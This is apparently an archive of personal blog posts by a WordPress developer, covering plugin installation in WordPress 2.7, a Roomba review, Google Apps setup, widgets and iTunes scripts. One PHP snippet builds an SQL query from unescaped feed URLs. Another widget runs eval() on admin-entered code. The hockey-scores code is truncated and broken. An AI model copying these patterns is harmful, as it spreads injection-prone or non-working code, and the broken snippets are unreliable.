Additional: A lot of people keep asking me for a full-fledged example. Really, I recommend that you examine the comments.php file in the default theme in the 2.7 beta versions. However, the actual comments.php file I’m using on this site can be found here: http://ottodestruct.com/comments.phps, if it helps you any. It has the code I’ve described in this article, pretty much verbatim. The only additions to it are a couple of extra options on the wp_list_comments() call, such as avatar_size and reply_text.

(This post is geared more towards PHP authors and fans of WordPress, so if you’re not into that sort of thing, why not go look at some pictures of cats instead?)

So, I upgraded to the latest 2.7-bleeding edge version of WordPress on my blog today, and discovered a new feature that I had missed in my earlier readings. There was a new menu item on the Plugins menu:

New Menu Item - Install Plugins!

Yes, it appears that WordPress now has plugin installation built into it. Similar to the Plugin Upgrade feature introduced in 2.5, 2.7 will be able to download and install plugins directly from WordPress.org’s plugin directory.

Naturally, I had to try this out, so read on if you want to see what it looks like…

The new Plugin Install screen

The new plugin install screen has several ways to find plugins, including all the normal plugin lists from the WordPress Plugin Directory. It also has a pretty good search as well as a fairly large tag cloud at the bottom, if you’re not entirely sure what you’re looking for.

Tip for plugin developers: Now might be a good time to look closer at those readme.txt files you’ve been making for the plugin directory, and be sure that you’ve got everything nice and neat. Especially think about tags and keywords… People have to find your plugin somehow.

Choosing a plugin

Choosing the plugin is just a matter of finding it and then clicking the Install link. When you do, you get to see more info about it first, before installing it.

Plugin Information

Note the “Install Now” button in the top right corner. Also note that only the description shows up, note of the other normal tabs. I don’t know if this is going to change or not, but nevertheless, plugin authors should consider that their descriptions will be getting more visibility this way.

Install process

Installation is much the same as upgrading, except it’s now in a thickbox. Yes, upgrading now happens in a nice thickbox too, using this same interface. The description screen is also smart enough to detect when you already have a plugin install and have the latest version of it, and tell you “Latest Update Installed” instead of “Install Now” and such.

Activating the plugin

After activating, it all goes back to normal. The resulting plugin gets its own subdirectory in the plugins directory, and all is well.

Important note for plugin authors: This sort of thing was already critical for upgrading, but now installing makes it even more so. Your main plugin’s PHP file and readme.txt file must be in the root of the SVN! You cannot package it up yourself as a ZIP file or anything like that. If it can’t find the plugin’s PHP file after downloading it, then your plugin won’t show up, it won’t be activated, and it generally won’t work for anybody.

Let’s see, haven’t posted here in a while… what to say…

Lorelle invited me to make some guest posts this month on her blog. I wrote a short little technical ditty about how to integrate Microformats and WordPress Themes. If you’re into WordPress, or CMS’s in general, it’s worth a look. Since I use this site as a sort of test bed, I might also mention that it’s currently showing nine, count ‘em, nine different microformats. And a few other things that aren’t microformats as well.

Went to the Art on Tap beer festival this last weekend. Had a hell of a good time, but was rather disappointed in the food selection. Also, it was one of the only beer festivals I’ve ever seen where all the beer was poured out of bottles. The exception was the homebrews poured by The Bluff City Brewers, which were all really good. I recall getting back to the Saucer, I don’t quite recall going home. So clearly, I had a good time. Paul posted some shots of the fest, some of which include yours truly.

The Rapscallions won at Trivia tonight, amazingly enough. Pete has clearly been making the questions harder, as we only scored 79 out of a possible 160-something. Still, that was enough for a tie, and we won the tie-breaker. $50 in the pot for the next party!

I received an invitation to the wedding of Chris, a friend of mine currently living in Atlanta. I kinda wonder about it, the wedding reception is at a beach resort in Alabama, but it’s in November. Anybody know what the weather is like at Gulf Shores in November?

Along with the invite, I received a summons from Zach for the Bachelor Party in October. Unfortunately, I’m told that it’s the same day as the Great Decatur Beer Tasting Festival. That’s just poor planning, man. Although, a beer tasting in the afternoon, followed by a Bachelor Party all evening… I’m not sure I’m capable of that anymore. I’m not as young as I used to be. Still, it’s doable, and damnit, I think I’m going to have to try. And then this weekend, I have the Cooper-Young festival to cope with. Along with a keg party a block away from the festivities.

Oh yeah, and Raiford’s is reopening, with Raiford back at the turntables. Now that I live about 2 blocks away from that point, I can see many 40’s in my future.

So, the fall is looking busy.

Paul found a thing called MyFountain on somebody’s website. It’s basically an automated bartender.

Now, I’ve seen these before, but mostly as do-it-yourself type projects. The basic idea is that you get a bunch of liqour and beer and such, hook it up to a bunch of pumps and tubes, and hook those to a computer to portion each one out properly. Simple enough. The trick, of course, is programming the computer properly. Running pumps and such is no big deal.

This MyFountain thing takes it to a whole other level. The cheap version (which is still $2500 or so) is a basic bartender. It can go online to get new recipes and such, and it knows what you have in the fridge so it can tell you what you’re capable of making. The advanced version is basically geared towards managing an entire bar, in that it networks with multiple units, can estimate drinking patterns and call headquarters to schedule deliveries of more beverages automatically, etc, etc. Very clever indeed.

Still, I think it would be a fun project to build my own unit. I’ll need a mini fridge or freezer of some design to hold the beverages, but I’ll have to be willing to cut holes in the thing for the necessary tubes to pass through. So if anybody knows of a fridge/freezer design suitable for such a project, capable of holding, say, 6-10 bottles of liquor and possibly 1 or 2 mini kegs, let me know.

So I purchased a Roomba at the Woot off the other day. After I bought the condo, a good friend of mine (who also lives here) mentioned the device, but didn’t know the name. Being the consummate geek that I am, I knew he was talking about the Roomba, and furthermore knew that they had several flavors of it now. And the fact of the matter is that he was right, it seems perfectly suited for this place. So when I saw one at the Woot off for only $120 (+$5 shipping), it seemed like a good idea. In fact, I think it turned out to be one of the best bargains ever.

The one I got is a “Discovery 4296″ which is nothing more than a word with a number, really. The thing is basically an automatic sweeper. With hardwood or low carpets/rugs (not shag) it’s clearly perfect. Basically it sweeps the floor with rotating brushes and sweeps the crap into a bin, whereupon you dump it. It’s particularly good with hair and other small debris, like the weird pebbles that keep falling out of my ceiling. It also does a decent job of dust in general, although it tends to throw it about a bit. But it seems to get it after a few passes.

One thing I do not like is the bin. It’s too small, and it’s positioned wrong. The upshot of this is that you have to use it every other day, and you have to be *extremely* careful when emptying it. The first time I emptied it, I dumped a large amount of crap onto the floor. Takes some practice, so expect it.

Naturally, being a geek, I’m interested in the algorithms involved. It has a few. They probably have technical names, but here’s the lowdown:
1. Roaming – It roams off in some random direction for a long distance. This is the primary way that it cleans the center of rooms. However, when you consider it, the center areas of rooms don’t tend to be the dirty ones.. It’s the edges that build up the mess. So it has…
2. Edge finding – I think the manual calls this wall roaming. It tends to do this a lot, however I’ve seen it walking the edge of my rug as well. Which is actually a good thing, as those edges tend to pick up debris too. Finally, it has:
3. Spot cleaning – This is an interesting mode. You can force it by placing it somewhere and hitting the “spot” button, but in normal “clean” mode, it will wander around and occasionally switch into this mode. A blue light labeled “dirt detector” comes on, and it runs around in circles for a while, eventually heading off in some random direction.

Few other things:
- Home base – If you get the model with the home base charger, then after it’s satisfied with the area or low enough on battery, it will go home and dock for charging. This can be forced as well with the remote (if you have one). Watching it dock is a lot of fun for your average geek, because the way it does it is clearly via two infrared beams on either side of the dock. It hits them, and turns away from them, back and forth, hunting, until it finds the home point. Very clever.
- Virtual Walls – These are similar, just infrared transmitters (each takes 2 D-cell batteries!) that shoot out a beam which cause the thing to act like it hit a wall and turn. It will follow the beam just like it follows walls. The beams are a bit wide, so put them back a bit inside doorways and such.

The primary way it knows about things is hitting them. The whole front piece, about 140-150 degrees or so, is a movable bump mechanism. When it hits something, this pushes in and the thing stops and turns around some seemingly random amount, or just a bit in edge finding mode. It also appears to be able to sense distance from any wall, because in edge finding, it will follow a wall very precisely without touching it at all, which is weird, because I can’t find any obvious sensors there.

As far as cleaning goes, the one I got is basically a sweeper/vacuum. Works great on hardwood, decent on low cut rug/carpet, probably would not work on shag or similar. The gist of it is that it has a side sweeper to pull in things, a front sweeper to push things up, a rotor brush to pull things in, and a ramp to force things into the bin. There’s also a spinning mechanism inside which might produce some very minor vacuum effect, to get things “over the hump” of the bin and keep dust inside. The bin is on the back, and it sucks. Pick the thing upright before removing the bin. You’ll see the method after 1 spill, trust me.

The docking station does not work particularly well on hardwood floors. It slides, and the Roomba drags it around while trying to disengage. Put it on rug or carpet. I ended up putting it on some carpet samples underneath my bar area. Speaking of which, the dock *MUST* be in an area where it has a pretty good view of the room. Otherwise the Roomba will not find it. So forget a closet or something, it must be in the main area, somewhere.

The cat is completely freaked out by the thing, but the Roomba does not appear to mind his presence.

It’s loud. Not as loud as an actual vacuum cleaner, but the Roomba takes longer. However, given that mine has a scheduling feature, I can set it to work when I’m not here. Haven’t tried that yet, might try it later this week. The scheduler is cool, built into the remote. You program the times, and then send the schedule to the Roomba and to the virtual wall units. It runs for that time and the wall units turn on at the same moment. Very conservative on battery power that way.

One thing that bugs me is that the remote doesn’t offer any easy way to really remote control the thing. You can send it commands, but they’re really more like suggestions as far as I can tell. Which is frankly too much work. It covered my living room and kitchen by itself twice before running out of power, and since I didn’t follow the charging directions, it didn’t find home base when it did so. Follow the damn directions, charge it for 16 hours before the first use. Trust me on this one.

Hacking: There are myriad abilities to hack the thing. It has a serial port, and can accept commands to move around and such, as well as provide feedback of all the sensors on it. Worth a look if you’re into that sort of thing. I’m considering building a bluetooth serial link to it and hacking it a bit. With some minor effort (okay, maybe not so minor), I could control the thing and make it work much better for my specific space. Given that the unit’s more or less “random” method works pretty well, it does seem to take a while to accomplish anything. I mean, it works, but seems inefficient. I could improve that. I browsed through the documentation on irobot.com while it was working, and it’s pretty comprehensive. Worth a look if you’re the hackish type.

All in all, I’d say it’s worth the $125. Maybe $170. But not the default $220 price. Find the bargains on it, stick with those. Amazon has the remanufactured ones on the cheap (this is the same one I got). And if you’re all hardwood with no rugs/carpets, look for the one that actually mops instead of just sweeps and vacuums.

Having two email accounts can be a pain. I’ve been using my GMail account for a long time, but I like the niceness of my ottodestruct.com domain better. It’s cleaner, overall. A bit more professional as well.

I also use Firefox with the Google Toolbar. One of the nice things about it is the little GMail icon that checks your GMail every 10 minutes or so, and shows if you have new messages. It also lets you search your email right from the toolbar. Very handy.

However, I also use Google Apps for your Domain for my email. This basically makes all my ottodestruct.com email go through Google and their GMail interface. The Google Toolbar doesn’t work too well with that.

So I got bored and fixed all that. How to do it can be found after the jump…

First, you need to create a Google Account using your Google Apps email address. If, like me, you have both a GMail account and a Google Apps account, then they’re probably not linked together and you’re using your GMail account as your main “Google Account”. So go here and make a new account using your Google Apps email instead: https://www.google.com/accounts/NewAccount . Use the same password as your Google Apps Email account.

Next, using the Google Toolbar, click settings and sign out, then sign in with your new Google Account and your Google Apps Email address.

Now, remove or uncheck the old GMail button in the Google Toolbar Options->Buttons tab.

Finally, add the custom button I made by clicking this link: http://toolbar.google.com/buttons/add?url=http://ottodestruct.com/gmfyd.xml

This custom button is virtually identical to the GMail button, except that it has an extra option that will let you type in your domain name. I use “ottodestruct.com”, for example.

And that’s it. The button will check your Google Apps account instead of your GMail account. Nice, huh?

To further integrate things, I’ve set my Google Apps account to pull my email from my GMail account as well. Setup your GMail account to allow POP access, and to delete messages as they get pulled by POP. Then set your Google Apps Domain email to check an extra account: your GMail account. You may also want to have it put those messages under a separate label (I used “old email”). At the same time, you want to add your GMail address as an alternate address. What happens is that your Google Apps account will check your GMail account once an hour and pull over any new messages, putting all your email into one place, nicely labeled. You’ll also be able to send messages from there using your old GMail address, if necessary. Integrates everything into one nice little package.

While you’re doing integration, you might want to change your Google Talk client to use your Google Apps account as well. And if you haven’t done so, you’ll want to edit your DNS settings to include the TXT records needed to allow Google Apps to connect via Jabber for the Google Talk functionality. This lets your domain talk to other domains (including GMail) and allows all your Google Talk stuff to continue to work on the Google Apps Domain.

It’s a lot of setup, but the end result is one place for everything, with all the Google Apps functionality working smoothly. If only Google could automate this sort of integration, then everything would be a lot nicer. The functionality is all there, it’s just a matter of putting all the pieces together.

Google Apps rocks, I highly recommend it.

Additional: Although I have not yet worked out how to make the SendTo button in the Google Toolbar work properly, Elijah linked to a post that gives instructions on making normal “mailto:” type links work correctly with the Toolbar and Google Apps. Here’s the basic instructions:
1. Download and install the Google Toolbar for Firefox
2. Google Tool Bar->Settings->Options->Send With GMail (checked)->OK
3. In the address bar, go to “about:config”
4. Find the key “google.toolbar.mailto.providers.Gmail”
5. Change the “/mail/” portion to “/hosted/example.com/” (replace example.com with your domain name).

Now any normal mailto: links on web pages will redirect you to your Google Apps email.

Warning: Heavy geek content ahead. If you’re not interested in PHP code, you can safely skip this post.

One thing that not a lot of people know about is that Wordpress is capable of checking your bookmarks/blogroll links for you and organizing them according to the time they were last updated.

The reasons people don’t know this are:
a) It’s not automatically setup and working, and
b) It rarely works in the first place.

If you look at all the ways you can display links, one option kinda stands out.. In the case of wp_list_bookmarks(), that option is “orderby=updated”.

What does this do? Well, the Blogroll/Bookmarks have a field that is supposed to store the last time that each link was updated. And there’s a script in the wp-admin directory designed to keep it up to date. The script is named “update-links.php” and it… well… doesn’t work.

You see, pingomatic.com is included by default as one of the sites that gets pinged on every new post. So this site probably knows when every blog was updated. More or less. The bright idea at the time was to make the update-links script ask pingomatic when all these links were updated. And that’s what it still does. The problem with this is that pingomatic… well… it kinda sucks. The updated-batch request in it’s API rarely works. In point of fact, I’ve never gotten it to work.

So “update-links.php”, sadly, sits there. Semi-dead code. Nobody uses the “orderby=updated” parameter, because it doesn’t work without knowing when things were actually updated.

But nowadays, we have something better.. We have RSS feeds. And with a minor bit of code, you can revive your update-links.php. How? Well, one other thing every Blogroll/Bookmark link includes is a special field just for RSS feeds. Scroll down when you add or edit a link to find that field. Most people probably don’t fill that field in. But now we can make it useful.

The concept is simple: For every bookmark that has an RSS feed filled in, we’ll get the feed, find the Last-Modified time on the feed, and update our bookmark’s updated time. Then “orderby=updated” will actually work, and we’ll be able to have our Blogrolls reorder themselves automatically, putting the ones with the latest updates at the top of the list. Neat!

Here’s how you do it. First, you need to replace update-links.php with this code:

< ?php
require_once( dirname( dirname(__FILE__) ) . '/wp-config.php');
require_once( ABSPATH . 'wp-includes/class-snoopy.php');
require_once( ABSPATH . 'wp-includes/rss.php');

if ( !get_option('use_linksupdate') )
	wp_die(__('Feature disabled.'));

$link_rsses = $wpdb->get_col("SELECT link_rss FROM $wpdb->links");
if ( !$link_rsses )
	wp_die(__('No links'));

foreach ($link_rsses as $rssurl)
{
	$feed = fetch_rss($rssurl);
	$mod = $feed->last_modified;
	if ($mod != null) {
		$modtime = strtotime($mod);
		$wpdb->query("UPDATE $wpdb->links SET link_updated = FROM_UNIXTIME($modtime) WHERE link_rss = '$rssurl'");
	}
}
?>

It’s a lot simpler than the old update-links.php, really.

Now, you need to find some way to run it every once in a while. If you’ve ever set a cron job up, you already know how to do this. You just need to make a cron job that loads http://example.com/blog/wp-admin/update-links.php every once in a while. However often you want to update. I recommend no more than once every 6 hours though, you’re pulling RSS feeds here. No need for extremes.

And that’s it. Change your sidebar to use “orderby=updated” and you’ll find that it works.

Future versions of Wordpress may or may not have this change, and may or may not have the need for an external cron job (still working on these).. But this works right now, it’s a minor thing to do, and it’s kinda fun to have anyway.

Important note: This plugin only applies to Wordpress 2.1 – 2.1.2. The fix is included in the 2.1.3 source by default, and this plugin will no longer be needed.

Edit: Yes, I’ve just looked at 2.1.3 (which was just released) and this fix is in there. Do not use this plugin with 2.1.3 and up.

Lots of people like the new Wordpress 2.1, but I noticed several complaints over on the Wordpress support forums about the fact that the Firefox inline spell checking seems to not be working with the new editor.

I investigated, and it turns out to simply be one of the default settings of the version of TinyMCE that is being used. Even though it has a spell check button, some people prefer Firefox’s automatic spell checking. I can understand that, I use it all the time myself.

Fortunately, Wordpress includes hooks for changing those TinyMCE settings, so it was a matter of a few minutes to create a plugin to deal with the issue.

Here’s a plugin to do just that. It’s simple to use, just upload to the plugins directory, then activate it in the Plugin panel. No configuration needed, it just turns the Firefox automatic spell checker back on in TinyMCE. Simple.

Download FFSpell

Enjoy!

THIS PLUGIN DOES NOT WORK ANYMORE. I doubt I’ll be updating it any time soon.

Playing around with my new Picasa Web access, I found the RSS feeds quite nice. So I made a widget for them.

Picasa Web Widget

Basically it puts a slideshow of photo thumbnails from one or more Picasa Web RSS feeds into your sidebar. You can click them to go to the photo’s page on Picasa Web. Uses divs and names and all that good CSS stuff to make styling them easy, if you want.

Enjoy!

—-

Update: Version 1.1 actually works now.

—-

Update: Version 1.2 now has four additional options. Now you can:
-Turn javascript image rotation on/off.
-Limit how many images will be rotated through.
-Display more than just the one image.
-Control whether or not the images are shown in a random order.

The image rotation script has also been corrected to work in both IE and Firefox (and probably others as well).

—-

Update: Version 1.3 adds Brian’s fix for filenames with unusual characters in them being in your web album.

—-

Update: Version 1.4
- Output will now validate as valid XHTML. Should work all the time. Important note: Use the class for CSS styling of anything, the ID is only there when you are only showing one image.
- Added the ability to display descriptions below the thumbnail. It even works with rotating images.
- Fixed the case where you are showing multiple images in a non-random order.

—-

Update: Version 1.5 – Corrected a problem where it would only show the last feed when you give it multiple feeds.

—-

Update: Version 1.6 – Corrected some cases where the rotate images javascript would fail to work in certain scenarios.

Guy over here asked how to display hockey scores on his blog. Here?s my solution?

Edit: Fixed a minor problem with the regular expression. Some of the soccer team names caused problems on that feed.

A quick googling tells me that exactscores.com seems to have feeds for scores for lots of stuff, however they also put horrible amounts of advertising into the RSS feed. Nevertheless, that can be worked around, if you want.

The actual score information in the feeds comes in the titles, and it looks like this:

(No)001/1 (BST+2h,Start at)03:00 (Home Team)EDM OILERS (Final)3-6 (Away Team)ANA MIGHTY DUCKS (Status)Finished (First Period)0-3 (Second Period)3-2 (Third Period)0-1 (Full Time)3-6 (Over Time)- (Penalties)- (Scorers)LUPUL(19)

Now, that is pretty ugly. But, at least it?s in a semi normalized format: (Key)Value? The Scorers at the end isn?t pretty, but we can deal with that later. Also, thankfully, the actual scores in all the ones I checked always start with (No), so we can use that to determine which bits of the feed are actual scores and which are not.

So here?s a simple script to retrieve a feed and then display only those bits that start with (No):

< ?php
require_once(ABSPATH . WPINC . '/rss-functions.php');
$rss = fetch_rss('http://www.exactscores.com/HockeyLivescoreRss.xml');
echo '
';
foreach ($rss->items as $item ) {
	if (preg_match('/^(No).*/i',$item['title']))
		echo '
'.$item['title'].'

';
}
echo '';
?>

Obviously, the output of this is ugly, but it proves that we?re only getting scores out of the feed.

So, now we need to parse that string and get more useful data out of it. Here?s where preg_split and some rather disturbing regular expression syntax is your friend?

$uglyscores = preg_split('/^(([^)]*))[^s]|s(([^)]*))[^s]/',
	$item['title'], -1, PREG_SPLIT_DELIM_CAPTURE);

I called it $uglyscores for a reason. This returns an array with the bits of the scores nicely parsed out, but because of the regular expression I used, there?s a blank string between each pair of data, so let?s reformat this mess into something nicer:

$i=1; // skip the first element
$scores = array();
while ($i
This gives us a nice array of elements that we can then reference by the key names. So we can use stuff like $scores[?Final?] and such.
So now that we don?t have to display everything, let?s put it all together. Here?s a combination of all of the above that outputs the two teams and the final score only:
< ?php
require_once(ABSPATH . WPINC . '/rss-functions.php');
$rss = fetch_rss('http://www.exactscores.com/HockeyLivescoreRss.xml');
echo '
';
foreach ($rss->items as $item ) {
if (preg_match('/^(No).*/i',$item['title'])) {
	echo '
';
	$uglyscores = preg_split('/^(([^)]*))[^s]|s(([^)]*))[^s]/',
		$item['title'],-1,PREG_SPLIT_DELIM_CAPTURE);
	$i=1; // skip the first element
	$scores = array();
	while ($i

';
	}
}
echo '';
?>


And there you have it. If you want to display different information, just modify the stuff in those echo lines towards the end.
The key is finding the RSS feed with the data you?re interested in. Once you have that, it?s usually fairly straightforward to parse it and redisplay it nicely. 

Narendra Rocherolle asked me to convert the Google Calendar widget into a 30boxes capable widget. No problem, it only took like 10 minutes.

So if you use 30boxes and want a nice and simple Wordpress Widget for displaying events on your calendar, well, here you go: 30boxes Widget

This is, of course, a first stab at it only. I can and probably will add more functionality to it (like start and end dates). But that can wait until later. Right now I need BBQ!

Ran across Coastr yesterday while I was reading some blogs about beer. It’s kinda nifty. Very simple app. It lets you put what beers you like to drink and where you like to drink them and tells you other people who have similar tastes. The idea being that maybe you can find some new beers by looking at what other people who are similar to you like.

I made a post on the guys blog about adding RSS feeds for the individual users, and to my surprise, he had it up and going the next morning. Very cool.

So naturally, I made a widget for it. You can see it in my ever-growing sidebars somewhere (bottom right, at the moment).

And so here it is: The Coastr Widget.

Update: Version 1.1 adds some code to handle the beer names and such properly, so it won’t cause validation errors on your blog anymore.

Note: This widget does NOT work with WordPress 2.1 and up. Don’t bother trying.

————

I created a new widget for my blog. It’s a simple little thing that shows stuff from my Google Calendar. You can find it as my “Upcoming Events” sidebar, bottom left. Okay, so it doesn’t have much there yet, I need to add stuff to the calendar.

Anyway, here’s a link to it: gcalendar

If anybody has any suggestions on improving it, I’d love to hear ‘em.

——–

Note: I’ve updated the widget to use Google’s Calendar API properly. But in order to do that, I had to modify Wordpress’s built in MagpieRSS functions rather heavily. So read the readme.txt file for installation instructions before attempting to use it. Failure to install correctly will break your blog. Heck, it might do that anyway. So read carefully.

Over in the comments of my EvilLyrics post, somebody asked for this script. It seems like people might find it handy, so here you go: explicit.txt

It will search the lyrics of all the songs in iTunes for “bad words” and flag those tracks as Explicit by adding the word “Explicit” to the end of the comments in the track.

Now, I have no use for this personally, but I can see where some people might. One thing you will have to do in order to use it is to edit it and define what you consider to be a “bad word”. Just after halfway through the script, there’s a section that looks like this:

badword1|badword2|badword3

Change that to define everything you consider to be a bad word. To use George Carlin’s famous example: shit|piss|fuck|cunt|cocksucker|motherfucker|tits

Just add as many words as you like, then run it like all the rest of these iTunes Javascripts. It’s reasonably smart and won’t tag a track as Explicit if the word Explicit is already in the comments.

You could use this for Smart Playlists, to make “clean” playlists, or to make “not so clean” playlists. Whatever you like. You could do that without this script too, but this makes it a bit easier.

Note: The ExecPHP widget does not work in the upcoming WordPress 2.5. Therefore, if you upgrade to 2.5, you will need to install the updated version of this widget. It can be found here, now and forever more: http://wordpress.org/extend/plugins/php-code-widget/

A new plugin for Wordpress came out that’s kinda cool. It’s called Widgets, and the general idea of it is to make the sidebars on your blog a bit more configurable, a bit more easily.

So, I decided to spend an hour or so converting my sidebars to Widgets so I could manage them a bit simpler. Editing PHP code is easy but time consuming, while dragging stuff and dropping it to rearrange the blog, well, that’s quick and easy.

Few things I learned:

1. The Widgets Plugin does not like Windows. Since I run this site on a Windows box (edit: I did then, I don’t anymore, and anyway, they have fixed this problem since then), it needed some tweaking to make it work. For those who want to know, the problem is in the sidebar_admin_setup() function in widgets.php. More info on this problem is in the comments of this post.
2. Text boxes are extremely useful when converting from your existing customized webpage to a widgets based one, as you can simply cut and paste chunks of HTML into them and voila, you’ve got a sidebar widget. However, there’s not a lot of text widgets available. If you need more text widgets, you will need to edit these functions: widget_text_setup(), widget_text_page(), and widget_text_register(). As it turned out, I didn’t need but 4 text widgets because:
3. Despite how useful text boxes were for a quick migration, they were not enough.

So, I ended up writing two plugins of my own.

The first one is a Google AdSense plugin. You can download it here: gadsense.zip. It’s exactly the same as the Text widgets, but with (very) minor tweaks specifically for inserting Google Ads in the sidebars. Also, it shows a name of “Google AdSense” in the widgets panel, which is nice. Like the Text widget, you can have more than 1 of them, but unlike the Text widget, you can only have 4 of them, since Google’s TOS only allows 3 ads and 1 link block on a page.

The next one is also like the Text plugin, however it will also let you put PHP code into the text and have it actually work. Here’s the download: execphp.zip. Like the Text plugin, you can have up to 9 of them (more if you want to tweak the code). Note that any PHP code you put into the widget MUST be surrounded by <?php and ?> tags, just like writing PHP normally. Also note that this is isn’t exactly safe, as it’s just doing an eval() on whatever you put in there, so you have complete and full access, as does anybody else who can get to your admin screen. Still, it’s very useful.

Both of those are plugins. Just drop them in the widgets folder under the plugins folder, and activate them on the plugins screen. Then the widgets will be available for you to use on the widgets screen.

Hope these help somebody. They sure helped me.

Made this useful little doo-hickey a while back. It lets you save and restore the ratings from iTunes. Handy for moving stuff around from machine to machine.

http://ottodestruct.com/itunes/SaveRatings.zip

Somebody on digg mentioned AppleScripting iTunes on the Mac, but it seems to be less well known that you can write Javascripts or VBScripts for iTunes for Windows.
So, here’s a bunch of scripts I’ve written for various tasks:

• Creates a playlist of all the songs in the library with no artwork: http://ottodestruct.com/itunes/NoArtPlaylist.txt
• Creates a playlist of all the songs in the library with no lyrics: http://ottodestruct.com/itunes/NoLyricsPlaylist.txt
• Creates a playlist of all the songs in the library of which you only have one of them by that artist (one hit wonders): http://ottodestruct.com/itunes/onehitwonders.txt
• Imports lyrics from EvilLyrics’ into iTunes: http://ottodestruct.com/itunes/EvilLyricsImport.txt
• Removes all lyrics from all songs in your library: http://ottodestruct.com/itunes/ClearLyrics.txt
• Reload/update all songs in the library from the file tags (useful if you use another tagging program to make changes to tags): http://ottodestruct.com/itunes/update.txt
• Finds dead tracks in your library and makes a list of them: http://ottodestruct.com/itunes/FindDeadTracks.txt
• Removes dead tracks from your library (this one was actually written by Apple originally, I’m just including it for completeness): http://ottodestruct.com/itunes/RemoveDeadTracks.txt

I’ve written more, but these are the most general purpose ones.

To use any of them, just download them, rename them to a *.js file, then run them like any other program (double click, select and press enter, type the name from a command prompt, etc). If you have all the defaults in XP or have the Windows Scripting Host installed on other Windows boxes, then the wscript.exe program actually runs the scripts, much like cmd.exe runs batch files. Same idea, anyway. The scripts connect to iTunes as a COM object and use it in that fashion. Works really well and is quite handy for scripting tasks in iTunes. Yeah, it doesn’t actually integrate or anything, but it’s still useful.